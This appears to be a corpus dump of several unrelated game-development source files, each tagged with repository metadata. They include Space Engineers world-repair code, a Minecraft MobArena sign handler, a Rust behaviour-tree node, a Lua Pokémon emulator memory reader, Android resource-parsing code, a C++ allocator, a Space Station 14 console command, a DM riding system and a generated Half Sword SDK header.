character = (list[i]).GetHierarchyCharacters().FirstOrDefault(); if (character != null) { if (!SpaceEngineersCore.Resources.CharacterDefinitions.Any(c => c.Model == character.CharacterModel || c.Name == character.CharacterModel)) { character.CharacterModel = Sandbox.Game.Entities.Character.MyCharacter.DefaultModel; statusNormal = false; str.AppendLine(Res.ClsRepairFixedCharacterModel); saveAfterScan = true; } } } // TODO: search for cubeblocks that don't exist in the definitions. //var definition = SpaceEngineersAPI.GetCubeDefinition(block.GetType(), CubeGrid.GridSizeEnum, block.SubtypeName); } character = entity as MyObjectBuilder_Character; if (character != null) { if (!SpaceEngineersCore.Resources.CharacterDefinitions.Any(c => c.Model == character.CharacterModel || c.Name == character.CharacterModel)) { character.CharacterModel = Sandbox.Game.Entities.Character.MyCharacter.DefaultModel; statusNormal = false; str.AppendLine(Res.ClsRepairFixedCharacterModel); saveAfterScan = true; } } } //if (world.Checkpoint.Players != null) //{ // foreach (var item in world.Checkpoint.Players.Dictionary) // { // if (!SpaceEngineersCore.Resources.CharacterDefinitions.Any(c => c.Name == item.Value.PlayerModel)) // { // item.Value.PlayerModel = SpaceEngineersCore.Resources.CharacterDefinitions[0].Name; // statusNormal = false; // str.AppendLine(Res.ClsRepairFixedCharacterModel); // saveAfterScan = true; // } // // AllPlayers is obsolete. // //if (item.Value.PlayerId == 0) // //{ // // item.Value.PlayerId = SpaceEngineersApi.GenerateEntityId(); // // world.Checkpoint.AllPlayers.Add(new MyObjectBuilder_Checkpoint.PlayerItem(item.Value.PlayerId, "Repair", false, item.Value.SteamID, null)); // // statusNormal = false; // // str.AppendLine("! Fixed corrupt or missing Player defitinion."); // // saveAfterScan = true; // //} // } //} if (saveAfterScan) { repairWorld.SaveCheckPointAndSector(true); str.AppendLine(Res.ClsRepairSavedChanges); } } if (statusNormal) { str.AppendLine(Res.ClsRepairNoIssues); } return str.ToString(); } private static Int64 MergeId(long currentId, IDType type, ref Dictionary<Int64, Int64> idReplacementTable) { if (currentId == 0) return 0; if (idReplacementTable.ContainsKey(currentId)) return idReplacementTable[currentId]; idReplacementTable[currentId] = SpaceEngineersApi.GenerateEntityId(type); return idReplacementTable[currentId]; } } }
0
0.915729
1
0.915729
game-dev
MEDIA
0.860945
game-dev
0.938263
1
0.938263
garbagemule/MobArena
2,490
src/main/java/com/garbagemule/MobArena/signs/SignCreator.java
package com.garbagemule.MobArena.signs; import com.garbagemule.MobArena.framework.Arena; import com.garbagemule.MobArena.framework.ArenaMaster; import org.bukkit.Location; import org.bukkit.event.block.SignChangeEvent; class SignCreator { private final ArenaMaster arenaMaster; private final TemplateStore templateStore; SignCreator( ArenaMaster arenaMaster, TemplateStore templateStore ) { this.arenaMaster = arenaMaster; this.templateStore = templateStore; } ArenaSign create(SignChangeEvent event) { if (!trim(event, 0).equalsIgnoreCase("[MA]")) { return null; } Location location = event.getBlock().getLocation(); String arenaId = getArenaId(event); String signType = getSignType(event); String templateId = getTemplateId(event, signType); return new ArenaSign(location, templateId, arenaId, signType); } private String getArenaId(SignChangeEvent event) { String arenaId = trim(event, 1); if (arenaId.isEmpty()) { throw new IllegalArgumentException("Missing arena name on line 2"); } Arena arena = arenaMaster.getArenaWithName(arenaId); if (arena == null) { throw new IllegalArgumentException("Arena " + arenaId + " not found"); } return arena.getSlug(); } private String getSignType(SignChangeEvent event) { String signType = trim(event, 2).toLowerCase(); if (signType.isEmpty()) { throw new IllegalArgumentException("Missing sign type on line 3"); } switch (signType) { case "info": case "join": case "leave": { return signType; } default: { throw new IllegalArgumentException("Invalid sign type: " + signType); } } } private String getTemplateId(SignChangeEvent event, String signType) { String line = trim(event, 3); String templateId = !line.isEmpty() ? line : signType; templateStore .findById(templateId) .orElseThrow(() -> new IllegalArgumentException("Template " + templateId + " not found")); return templateId; } private String trim(SignChangeEvent event, int index) { String line = event.getLine(index); if (line == null) { return ""; } return line.trim(); } }
0
0.747238
1
0.747238
game-dev
MEDIA
0.769714
game-dev
0.506572
1
0.506572
iwanders/betula
1,518
betula_std/src/nodes/failure_node.rs
use betula_core::prelude::*; use betula_core::{ExecutionStatus, Node, NodeError, NodeType}; /// Node that always returns [`ExecutionStatus::Failure`]. /// /// Node may have one child, in which case it gets executed but its status /// is ignored, [`ExecutionStatus::Failure`] is always returned. #[derive(Debug, Copy, Clone, Default)] pub struct FailureNode {} impl Node for FailureNode { fn execute(&mut self, ctx: &dyn RunContext) -> Result<ExecutionStatus, NodeError> { if ctx.children() == 1 { let _ = ctx.run(0)?; } else if ctx.children() > 1 { return Err(format!("{:?} had more than one child", Self::static_type()).into()); } Ok(ExecutionStatus::Failure) } fn static_type() -> NodeType where Self: Sized, { "failure".into() } fn node_type(&self) -> NodeType { Self::static_type() } } #[cfg(feature = "betula_editor")] pub mod ui_support { use super::*; use betula_editor::{UiNode, UiNodeCategory}; impl UiNode for FailureNode { fn ui_title(&self) -> String { "failure ❌".to_owned() } fn ui_category() -> Vec<UiNodeCategory> { vec![ UiNodeCategory::Folder("decorator".to_owned()), UiNodeCategory::Group("core".to_owned()), UiNodeCategory::Name("failure".to_owned()), ] } fn ui_child_range(&self) -> std::ops::Range<usize> { 0..1 } } }
0
0.866518
1
0.866518
game-dev
MEDIA
0.498858
game-dev
0.541549
1
0.541549
NathanTBeene/pokemon-memory-reader
9,901
readers/party/gen1partyreader.lua
local PartyReader = require("readers.party.partyreader") local gameUtils = require("utils.gameutils") local charmaps = require("data.charmaps") local constants = require("data.constants") local Gen1PartyReader = {} Gen1PartyReader.__index = Gen1PartyReader setmetatable(Gen1PartyReader, {__index = PartyReader}) -- Gen1 species list (based on internal species order, not Pokedex order) local speciesNamesList = { "Rhydon", "Kangaskhan", "Nidoran♂", "Clefairy", "Spearow", "Voltorb", "Nidoking", "Slowbro", "Ivysaur", "Exeggutor", "Lickitung", "Exeggcute", "Grimer", "Gengar", "Nidoran♀", "Nidoqueen", "Cubone", "Rhyhorn", "Lapras", "Arcanine", "Mew", "Gyarados", "Shellder", "Tentacool", "Gastly", "Scyther", "Staryu", "Blastoise", "Pinsir", "Tangela", "MissingNo.", "MissingNo.", "Growlithe", "Onix", "Fearow", "Pidgey", "Slowpoke", "Kadabra", "Graveler", "Chansey", "Machoke", "Mr. Mime", "Hitmonlee", "Hitmonchan", "Arbok", "Parasect", "Psyduck", "Drowzee", "Golem", "MissingNo.", "Magmar", "MissingNo.", "Electabuzz", "Magneton", "Koffing", "MissingNo.", "Mankey", "Seel", "Diglett", "Tauros", "MissingNo.", "MissingNo.", "MissingNo.", "Farfetch'd", "Venonat", "Dragonite", "MissingNo.", "MissingNo.", "MissingNo.", "Doduo", "Poliwag", "Jynx", "Moltres", "Articuno", "Zapdos", "Ditto", "Meowth", "Krabby", "MissingNo.", "MissingNo.", "MissingNo.", "Vulpix", "Ninetales", "Pikachu", "Raichu", "MissingNo.", "MissingNo.", "Dratini", "Dragonair", "Kabuto", "Kabutops", "Horsea", "Seadra", "MissingNo.", "MissingNo.", "Sandshrew", "Sandslash", "Omanyte", "Omastar", "Jigglypuff", "Wigglytuff", "Eevee", "Flareon", "Jolteon", "Vaporeon", "Machop", "Zubat", "Ekans", "Paras", "Poliwhirl", "Poliwrath", "Weedle", "Kakuna", "Beedrill", "MissingNo.", "Dodrio", "Primeape", "Dugtrio", "Venomoth", "Dewgong", "MissingNo.", "MissingNo.", "Caterpie", "Metapod", "Butterfree", "Machamp", "MissingNo.", "Golduck", "Hypno", "Golbat", "Mewtwo", "Snorlax", "Magikarp", "MissingNo.", "MissingNo.", "Muk", "MissingNo.", "Kingler", "Cloyster", "MissingNo.", "Electrode", "Clefable", "Weezing", "Persian", "Marowak", "MissingNo.", "Haunter", "Abra", "Alakazam", "Pidgeotto", "Pidgeot", "Starmie", "Bulbasaur", "Venusaur", "Tentacruel", "MissingNo.", "Goldeen", "Seaking", "MissingNo.", "MissingNo.", "MissingNo.", "MissingNo.", "Ponyta", "Rapidash", "Rattata", "Raticate", "Nidorino", "Nidorina", "Geodude", "Porygon", "Aerodactyl", "MissingNo.", "Magnemite", "MissingNo.", "MissingNo.", "Charmander", "Squirtle", "Charmeleon", "Wartortle", "Charizard", "MissingNo.", "MissingNo.", "MissingNo.", "MissingNo.", "Oddish", "Gloom", "Vileplume", "Bellsprout", "Weepinbell", "Victreebel" } function Gen1PartyReader:new() local obj = PartyReader:new() setmetatable(obj, Gen1PartyReader) return obj end function Gen1PartyReader:readParty(addresses) if not addresses.partyAddr or not addresses.partySlotsCounterAddr then return {} end -- Use addresses directly as they're already numbers in the game detection local partyAddr = addresses.partyAddr local partySlotsCounterAddr = addresses.partySlotsCounterAddr local partyNicknamesAddr = addresses.partyNicknamesAddr local partySlotsCounter = memory.readbyte(partySlotsCounterAddr) - 1 local party = {} for i = 0, math.min(partySlotsCounter, 5) do party[i + 1] = self:readPokemon(partyAddr, i, partyNicknamesAddr) end return party end function Gen1PartyReader:readPokemon(partyAddr, slot, partyNicknamesAddr) -- Gen1 party structure: each Pokemon is 0x2C (44) bytes local pokemonStart = partyAddr + (slot * 0x2C) -- Read species ID local speciesId = memory.readbyte(pokemonStart) if speciesId == 0 then return {speciesID = 0} end -- Read basic data local curHP = memory.read_u16_be(pokemonStart + 0x1) local level = memory.readbyte(pokemonStart + 0x21) -- Actual level, not false level at 0x3 local status = memory.readbyte(pokemonStart + 0x4) local type1 = memory.readbyte(pokemonStart + 0x5) local type2 = memory.readbyte(pokemonStart + 0x6) local catchRate = memory.readbyte(pokemonStart + 0x7) local move1 = memory.readbyte(pokemonStart + 0x8) local move2 = memory.readbyte(pokemonStart + 0x9) local move3 = memory.readbyte(pokemonStart + 0xA) local move4 = memory.readbyte(pokemonStart + 0xB) local otid = memory.read_u16_be(pokemonStart + 0xC) -- Experience (3 bytes, big endian) - following working example local expAddr = pokemonStart + 0xE local experience = (0x10000 * memory.readbyte(expAddr)) + (0x100 * memory.readbyte(expAddr + 0x1)) + memory.readbyte(expAddr + 0x2) -- HP EVs and stats (2 bytes each) local hpEV = memory.read_u16_be(pokemonStart + 0x11) local attackEV = memory.read_u16_be(pokemonStart + 0x13) local defenseEV = memory.read_u16_be(pokemonStart + 0x15) local speedEV = memory.read_u16_be(pokemonStart + 0x17) local specialEV = memory.read_u16_be(pokemonStart + 0x19) -- DVs (Determinant Values) - 2 bytes local dvsAddr = pokemonStart + 0x1B local atkDV, defDV, speDV, spcDV = self:getDVs(dvsAddr) local hpDV = self:calculateHPDV(atkDV, defDV, speDV, spcDV) -- PP (4 bytes) local pp1 = memory.readbyte(pokemonStart + 0x1D) local pp2 = memory.readbyte(pokemonStart + 0x1E) local pp3 = memory.readbyte(pokemonStart + 0x1F) local pp4 = memory.readbyte(pokemonStart + 0x20) -- Stats local maxHP = memory.read_u16_be(pokemonStart + 0x22) local attack = memory.read_u16_be(pokemonStart + 0x24) local defense = memory.read_u16_be(pokemonStart + 0x26) local speed = memory.read_u16_be(pokemonStart + 0x28) local special = memory.read_u16_be(pokemonStart + 0x2A) -- Get species name local speciesName = speciesNamesList[speciesId] or "Unknown" -- Read nickname from separate nickname area local nickname = "" if partyNicknamesAddr then local nicknameAddr = partyNicknamesAddr + (slot * 11) -- Each nickname is 11 bytes for i = 0, 10 do local byte = memory.readbyte(nicknameAddr + i) if byte == 0x50 then -- Gen1 string terminator break elseif byte ~= 0 then local char = charmaps.GBCharmap[byte] or "" nickname = nickname .. char end end end -- Use species name as fallback if nickname is empty if nickname == "" then nickname = speciesName end -- Check if shiny (Gen1 shiny determination) local isShiny = self:isShinyGen1(atkDV, defDV, speDV, spcDV) return { speciesID = speciesId, speciesName = speciesName, nickname = nickname, level = level, curHP = curHP, maxHP = maxHP, attack = attack, defense = defense, speed = speed, spAttack = special, spDefense = special, -- Gen1 uses same stat for SpAtk and SpDef type1 = type1, type2 = type2, type1Name = self:getTypeName(type1), type2Name = self:getTypeName(type2), status = status, experience = experience, nature = 0, -- Gen1 doesn't have natures natureName = "None", -- Gen1 doesn't have natures move1 = move1, move2 = move2, move3 = move3, move4 = move4, pp1 = pp1, pp2 = pp2, pp3 = pp3, pp4 = pp4, evHP = hpEV, evAttack = attackEV, evDefense = defenseEV, evSpeed = speedEV, evSpAttack = specialEV, evSpDefense = specialEV, ivHP = hpDV, ivAttack = atkDV, ivDefense = defDV, ivSpeed = speDV, ivSpAttack = spcDV, ivSpDefense = spcDV, tid = otid, sid = 0, -- Gen1 doesn't have SID isShiny = isShiny, heldItem = "None", -- Gen1 doesn't have held items friendship = 0, -- Gen1 doesn't have friendship ability = 0, -- Gen1 doesn't have abilities abilityName = "None", abilityID = 0, hiddenPower = 0, -- Gen1 doesn't have hidden power hiddenPowerName = "None" } end function Gen1PartyReader:getDVs(dvsAddr) -- Read the 2-byte DV value local atkDefDVs = memory.readbyte(dvsAddr) local speSpcDVs = memory.readbyte(dvsAddr + 0x1) local atkDV = atkDefDVs >> 4 local defDV = atkDefDVs & 0xF local speDV = speSpcDVs >> 4 local spcDV = speSpcDVs & 0xF return atkDV, defDV, speDV, spcDV end function Gen1PartyReader:calculateHPDV(atkDV, defDV, speDV, spcDV) return ((atkDV % 2) * 8) + ((defDV % 2) * 4) + ((speDV % 2) * 2) + (spcDV % 2) end function Gen1PartyReader:isShinyGen1(atkDV, defDV, speDV, spcDV) -- Gen1 shiny determination (same as Gen2 since shiny was retroactive) return defDV == 0xA and speDV == 0xA and spcDV == 0xA and (atkDV == 0x2 or atkDV == 0x3 or atkDV == 0x6 or atkDV == 0x7 or atkDV == 0xA or atkDV == 0xB or atkDV == 0xE or atkDV == 0xF) end function Gen1PartyReader:getTypeName(typeId) -- Gen1 type IDs (different from later generations) local typeNames = { [0x00] = "Normal", [0x01] = "Fighting", [0x02] = "Flying", [0x03] = "Poison", [0x04] = "Ground", [0x05] = "Rock", [0x07] = "Bug", [0x08] = "Ghost", [0x14] = "Fire", [0x15] = "Water", [0x16] = "Grass", [0x17] = "Electric", [0x18] = "Psychic", [0x19] = "Ice", [0x1A] = "Dragon" } return typeNames[typeId] or ("Unknown(" .. typeId .. ")") end return Gen1PartyReader
0
0.932588
1
0.932588
game-dev
MEDIA
0.656556
game-dev
0.846371
1
0.846371
REAndroid/ARSCLib
8,904
src/main/java/com/reandroid/arsc/item/StyleItem.java
/* * Copyright (C) 2022 github.com/REAndroid * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.reandroid.arsc.item; import com.reandroid.arsc.base.Block; import com.reandroid.arsc.base.Creator; import com.reandroid.arsc.container.BlockList; import com.reandroid.arsc.container.FixedBlockContainer; import com.reandroid.arsc.io.BlockReader; import com.reandroid.json.JSONArray; import com.reandroid.json.JSONConvert; import com.reandroid.json.JSONObject; import com.reandroid.utils.CompareUtil; import com.reandroid.utils.ObjectsUtil; import com.reandroid.xml.SpanSet; import com.reandroid.xml.StyleDocument; import com.reandroid.xml.StyleElement; import com.reandroid.xml.StyleSpanEventSet; import java.io.IOException; import java.util.Iterator; public class StyleItem extends FixedBlockContainer implements Comparable<StyleItem>, Iterable<StyleSpan>, SpanSet<StyleSpan>, JSONConvert<JSONObject> { private final BlockList<StyleSpan> spanList; private final IntegerItem endBlock; private StyleIndexReference indexReference; private StringItem mStringItem; public StyleItem() { super(2); this.spanList = new BlockList<>(); this.endBlock = new IntegerItem(); addChild(0, spanList); addChild(1, endBlock); endBlock.set(-1); } public void add(String tag, int start, int end){ StyleSpan styleSpan = createNext(); styleSpan.setString(tag); styleSpan.setFirstChar(start); styleSpan.setLastChar(end); } public StyleSpan createNext(){ StyleSpan styleSpan = new StyleSpan(); this.spanList.add(styleSpan); return styleSpan; } public StyleSpan get(int i){ return spanList.get(i); } public int size(){ return spanList.size(); } public boolean hasSpans() { return spanList.size() != 0; } @Override public Iterator<StyleSpan> iterator() { return spanList.clonedIterator(); } @Override public Iterator<StyleSpan> getSpans() { return iterator(); } @Override public void onReadBytes(BlockReader reader) throws IOException { BlockList<StyleSpan> spanList = this.spanList; while (reader.readInteger() != -1){ StyleSpan styleSpan = new StyleSpan(); spanList.add(styleSpan); styleSpan.onReadBytes(reader); } this.endBlock.onReadBytes(reader); } public StyleDocument build(String text){ return StyleSpanEventSet.serialize(text, this); } public void parse(StyleDocument document){ clearSpans(); Iterator<StyleElement> iterator = document.getElements(); while (iterator.hasNext()){ parse(iterator.next()); } } public void parse(StyleElement element){ add(element.getTagString(), element.getFirstChar(), element.getLastChar()); Iterator<StyleElement> iterator = element.getElements(); while (iterator.hasNext()){ parse(iterator.next()); } } protected void clearStyle(){ StringItem stringItem = getStringItemInternal(); if (stringItem != null) { stringItem.unlinkStyleItemInternal(this); } clearSpans(); } protected void clearSpans(){ if (getParent() == null){ return; } for(StyleSpan styleSpan : this){ styleSpan.onRemoved(); } spanList.clearChildes(); } public void onRemoved(){ clearStyle(); } public void linkStringsInternal(){ for(StyleSpan styleSpan : this){ styleSpan.link(); } } public void setStringItemInternal(StringItem stringItem) { if (stringItem == null) { StringItem exist = this.mStringItem; this.mStringItem = null; unLinkIndexReference(exist); return; } if (this.mStringItem != null) { if (stringItem == this.mStringItem) { return; } throw new IllegalStateException("Different string item"); } this.mStringItem = stringItem; StyleIndexReference reference = new StyleIndexReference(this); stringItem.addReference(reference); this.indexReference = reference; } public StringItem getStringItemInternal() { return mStringItem; } public boolean isEmpty() { StringItem stringItem = getStringItemInternal(); if (stringItem == null) { return true; } return !hasSpans(); } private void unLinkIndexReference(StringItem stringItem){ StyleIndexReference reference = this.indexReference; if (reference == null){ return; } this.indexReference = null; if (stringItem == null){ return; } stringItem.removeReference(reference); } public String applyStyle(String text, boolean xml, boolean escapeXmlText){ if (text == null){ return null; } StyleDocument styleDocument = build(text); if (styleDocument == null){ return text; } return styleDocument.getText(xml, escapeXmlText); } @Override public void setNull(boolean is_null){ if (!is_null){ return; } clearStyle(); } @Override public JSONObject toJson() { if (isNull()){ return null; } JSONObject jsonObject=new JSONObject(); JSONArray jsonArray=new JSONArray(); int i=0; for(StyleSpan spanInfo:this){ if (spanInfo==null){ continue; } JSONObject jsonObjectSpan=spanInfo.toJson(); jsonArray.put(i, jsonObjectSpan); i++; } if (i==0){ return null; } jsonObject.put(NAME_spans, jsonArray); return jsonObject; } @Override public void fromJson(JSONObject json) { clearSpans(); if (json == null){ clearStyle(); return; } JSONArray jsonArray = json.getJSONArray(NAME_spans); int length = jsonArray.length(); for(int i = 0; i < length; i++){ JSONObject jsonObject = jsonArray.getJSONObject(i); StyleSpan styleSpan = createNext(); styleSpan.fromJson(jsonObject); } } public void merge(StyleItem styleItem){ if (styleItem == null || styleItem == this){ return; } for(StyleSpan styleSpan : styleItem){ add(styleSpan.getString(), styleSpan.getFirstChar(), styleSpan.getLastChar()); } } @Override public int compareTo(StyleItem styleItem) { if (styleItem == this) { return 0; } if (styleItem == null) { return -1; } StringItem stringItem1 = this.getStringItemInternal(); StringItem stringItem2 = styleItem.getStringItemInternal(); int i = CompareUtil.compare(stringItem1 == null, stringItem2 == null); if (i != 0 || stringItem1 == null || stringItem2 == null) { return i; } return CompareUtil.compareUnsigned(stringItem1.getIndex(), stringItem2.getIndex()); } @Override public String toString(){ return "Spans count = " + size(); } static final class StyleIndexReference implements WeakStringReference{ private final StyleItem styleItem; private int index; StyleIndexReference(StyleItem styleItem){ this.styleItem = styleItem; this.index = styleItem.getIndex(); } @Override public void set(int value) { this.index = value; } @Override public int get() { return index; } @SuppressWarnings("unchecked") @Override public <T1 extends Block> T1 getReferredParent(Class<T1> parentClass) { if (parentClass.isInstance(styleItem)){ return (T1) styleItem; } return null; } } public static final Creator<StyleItem> CREATOR = StyleItem::new; public static final String NAME_spans = ObjectsUtil.of("spans"); }
0
0.855583
1
0.855583
game-dev
MEDIA
0.57016
game-dev
0.919777
1
0.919777
AiMiDi/C4D_MMD_Tool
2,321
sdk_r20/frameworks/core.framework/source/maxon/customstlallocator.h
#ifndef CUSTOMSTLALLOCATOR_H__ #define CUSTOMSTLALLOCATOR_H__ /// @file namespace maxon { #ifdef MAXON_TARGET_WINDOWS #pragma warning(push) #pragma warning(disable:4180) // applying const to a function type generates this warning as this has no meaning #endif // stylecheck.naming=false //---------------------------------------------------------------------------------------- /// Custom STL C++11 allocator that wraps maxon::DefaultAllocator //---------------------------------------------------------------------------------------- template <typename T> class CustomSTLAllocator { public: // Dummy constructors and destructor as required for a custom allocator CustomSTLAllocator() noexcept {} CustomSTLAllocator(const CustomSTLAllocator&) noexcept {} template <typename U> CustomSTLAllocator (const CustomSTLAllocator<U>&) noexcept {} /// Allocates storage for n values of T. T* allocate(std::size_t n) noexcept { return NewMem(T, n); } /// Deallocates storage obtained by a call to allocate(). void deallocate(T* p, std::size_t) noexcept { DeleteMem(p); } /// Constructs an object of type T at the location of p, using the value of value in the call to the constructor for T. void construct(T* p, const T& value) { // initialize memory with placement new new (p) T(value); } /// Calls the destructor on the value pointed to by p. void destroy(T* p) { p->~T(); } // rebind allocator to type U template <typename U> struct rebind { using other = CustomSTLAllocator<U>; }; /// type definitions required for custom allocator using value_type = T; using pointer = T*; using const_pointer = const T*; using reference = T&; using const_reference = const T&; using size_type = std::size_t; using difference_type = std::ptrdiff_t; }; #ifdef MAXON_TARGET_WINDOWS #pragma warning(pop) #endif // return that all specializations of this allocator are interchangeable template <typename T1, typename T2> MAXON_ATTRIBUTE_FORCE_INLINE bool operator == (const CustomSTLAllocator<T1>&, const CustomSTLAllocator<T2>&) noexcept { return true; } template <typename T1, typename T2> MAXON_ATTRIBUTE_FORCE_INLINE bool operator != (const CustomSTLAllocator<T1>&, const CustomSTLAllocator<T2>&) noexcept { return false; } } // namespace maxon #endif // CUSTOMSTLALLOCATOR_H__
0
0.976848
1
0.976848
game-dev
MEDIA
0.262603
game-dev
0.953811
1
0.953811
Goob-Station/Goob-Station
1,169
Content.Client/Ghost/GhostToggleSelfVisibility.cs
// SPDX-FileCopyrightText: 2023 ShadowCommander <10494922+ShadowCommander@users.noreply.github.com> // SPDX-FileCopyrightText: 2025 Aiden <28298836+Aidenkrz@users.noreply.github.com> // // SPDX-License-Identifier: MIT using Content.Shared.Ghost; using Robust.Client.GameObjects; using Robust.Shared.Console; namespace Content.Client.Ghost; public sealed class GhostToggleSelfVisibility : LocalizedEntityCommands { [Dependency] private readonly SpriteSystem _sprite = default!; public override string Command => "toggleselfghost"; public override void Execute(IConsoleShell shell, string argStr, string[] args) { var attachedEntity = shell.Player?.AttachedEntity; if (!attachedEntity.HasValue) return; if (!EntityManager.HasComponent<GhostComponent>(attachedEntity)) { shell.WriteError(Loc.GetString($"cmd-toggleselfghost-must-be-ghost")); return; } if (!EntityManager.TryGetComponent(attachedEntity, out SpriteComponent? spriteComponent)) return; _sprite.SetVisible((attachedEntity.Value, spriteComponent), !spriteComponent.Visible); } }
0
0.71675
1
0.71675
game-dev
MEDIA
0.91774
game-dev
0.83268
1
0.83268
tgstation/TerraGov-Marine-Corps
6,285
code/datums/elements/riding.dm
/** * This element is used to indicate that a movable atom can be mounted by mobs in order to ride it. The movable is considered mounted when a mob is buckled to it, * at which point a [riding component][/datum/component/riding] is created on the movable, and that component handles the actual riding behavior. * * Besides the target, the ridable element has one argument: the component subtype. This is not really ideal since there's ~20-30 component subtypes rather than * having the behavior defined on the ridable atoms themselves or some such, but because the old riding behavior was so horrifyingly spread out and redundant, * just having the variables, behavior, and procs be standardized is still a big improvement. */ /datum/element/ridable element_flags = ELEMENT_BESPOKE argument_hash_start_idx = 2 /// The specific riding component subtype we're loading our instructions from, don't leave this as default please! var/riding_component_type = /datum/component/riding /datum/element/ridable/Attach(atom/movable/target, component_type = /datum/component/riding, potion_boost = FALSE) . = ..() if(!ismovable(target)) return COMPONENT_INCOMPATIBLE if(component_type == /datum/component/riding) stack_trace("Tried attaching a ridable element to [target] with basic/abstract /datum/component/riding component type. Please designate a specific riding component subtype when adding the ridable element.") return COMPONENT_INCOMPATIBLE riding_component_type = component_type RegisterSignal(target, COMSIG_MOVABLE_PREBUCKLE, PROC_REF(check_mounting)) /datum/element/ridable/Detach(datum/target) UnregisterSignal(target, list(COMSIG_MOVABLE_PREBUCKLE, COMSIG_ATOM_ATTACKBY)) return ..() /// Someone is buckling to this movable, which is literally the only thing we care about (other than speed potions) /datum/element/ridable/proc/check_mounting(atom/movable/target_movable, mob/living/potential_rider, force = FALSE, check_loc, lying_buckle, hands_needed, target_hands_needed, silent) SIGNAL_HANDLER if(HAS_TRAIT(potential_rider, TRAIT_CANT_RIDE)) return if(target_hands_needed && !equip_buckle_inhands(potential_rider, target_hands_needed, target_movable)) // can be either 1 (cyborg riding) or 2 (human piggybacking) hands potential_rider.visible_message("<span class='warning'>[potential_rider] can't get a grip on [target_movable] because [potential_rider.p_their()] hands are full!</span>", "<span class='warning'>You can't get a grip on [target_movable] because your hands are full!</span>") return COMPONENT_BLOCK_BUCKLE /* if((ride_check_flags & RIDER_NEEDS_LEGS) && HAS_TRAIT(potential_rider, TRAIT_FLOORED)) potential_rider.visible_message("<span class='warning'>[potential_rider] can't get [potential_rider.p_their()] footing on [target_movable]!</span>", "<span class='warning'>You can't get your footing on [target_movable]!</span>") return COMPONENT_BLOCK_BUCKLE */ var/mob/living/target_living = target_movable // need to see if !equip_buckle_inhands() checks are enough to skip any needed incapac/restrain checks // CARRIER_NEEDS_ARM shouldn't apply if the ridden isn't even a living mob if(hands_needed && !equip_buckle_inhands(target_living, hands_needed, target_living, potential_rider)) target_living.visible_message("<span class='warning'>[target_living] can't get a grip on [potential_rider] because [target_living.p_their()] hands are full!</span>", "<span class='warning'>You can't get a grip on [potential_rider] because your hands are full!</span>") return COMPONENT_BLOCK_BUCKLE target_living.AddComponent(riding_component_type, potential_rider, force, check_loc, lying_buckle, hands_needed, target_hands_needed, silent) /// Try putting the appropriate number of [riding offhand items][/obj/item/riding_offhand] into the target's hands, return FALSE if we can't /datum/element/ridable/proc/equip_buckle_inhands(mob/living/carbon/human/user, amount_required = 1, atom/movable/target_movable, riding_target_override = null) var/atom/movable/AM = target_movable var/amount_equipped = 0 for(var/amount_needed = amount_required, amount_needed > 0, amount_needed--) var/obj/item/riding_offhand/inhand = new /obj/item/riding_offhand(user) if(!riding_target_override) inhand.rider = user else inhand.rider = riding_target_override inhand.parent = AM if(user.put_in_hands(inhand)) amount_equipped++ else qdel(inhand) break if(amount_equipped >= amount_required) return TRUE else unequip_buckle_inhands(user, target_movable) return FALSE /// Remove all of the relevant [riding offhand items][/obj/item/riding_offhand] from the target /datum/element/ridable/proc/unequip_buckle_inhands(mob/living/carbon/user, atom/movable/target_movable) var/atom/movable/AM = target_movable for(var/obj/item/riding_offhand/O in user.contents) if(O.parent != AM) CRASH("RIDING OFFHAND ON WRONG MOB") if(O.selfdeleting) continue else qdel(O) return TRUE /obj/item/riding_offhand name = "offhand" icon = 'icons/obj/items/weapons/misc.dmi' icon_state = "offhand" w_class = WEIGHT_CLASS_HUGE item_flags = ITEM_ABSTRACT | DELONDROP | NOBLUDGEON resistance_flags = INDESTRUCTIBLE | UNACIDABLE | PROJECTILE_IMMUNE layer = BELOW_OBJ_LAYER var/mob/living/carbon/rider var/mob/living/parent var/selfdeleting = FALSE /obj/item/riding_offhand/dropped() selfdeleting = TRUE return ..() /obj/item/riding_offhand/equipped() if(loc != rider && loc != parent) selfdeleting = TRUE qdel(src) return ..() /obj/item/riding_offhand/Destroy() var/atom/movable/AM = parent if(selfdeleting) if(rider in AM.buckled_mobs) AM.unbuckle_mob(rider) return ..() /obj/item/riding_offhand/on_thrown(mob/living/carbon/user, atom/target) if(is_rider(user)) return //Piggyback user. user.unbuckle_mob(rider) var/turf/start_T = get_turf(loc) //Get the start and target tile for the descriptors var/turf/end_T = get_turf(target) if(start_T && end_T) log_combat(user, src, "thrown", addition = "from tile at [start_T.x], [start_T.y], [start_T.z] in area [get_area(start_T)] with the target tile at [end_T.x], [end_T.y], [end_T.z] in area [get_area(end_T)]") return rider /obj/item/riding_offhand/proc/is_rider(mob/living/user) return (rider == user)
0
0.983338
1
0.983338
game-dev
MEDIA
0.96008
game-dev
0.980471
1
0.980471
lambor590/Half-Sword-Enhancer
6,906
Mod/SDK/SDK/BPI_ComplexCollision_functions.cpp
#pragma once /* * SDK generated by Dumper-7 * * https://github.com/Encryqed/Dumper-7 */ // Package: BPI_ComplexCollision #include "Basic.hpp" #include "BPI_ComplexCollision_classes.hpp" #include "BPI_ComplexCollision_parameters.hpp" namespace SDK { // Function BPI_ComplexCollision.BPI_ComplexCollision_C.Deal Complex Damage // (Public, HasOutParams, BlueprintCallable, BlueprintEvent) // Parameters: // class UPrimitiveComponent* Hit_Component (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, InstancedReference, NoDestructor, HasGetValueTypeHash) // class UPrimitiveComponent* Collided_Component (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, InstancedReference, NoDestructor, HasGetValueTypeHash) // class FName Hit_Bone (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // const struct FVector& Location (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // const struct FVector& Normal (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, NoDestructor, HasGetValueTypeHash) // const struct FVector& Hit_Velocity (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData, 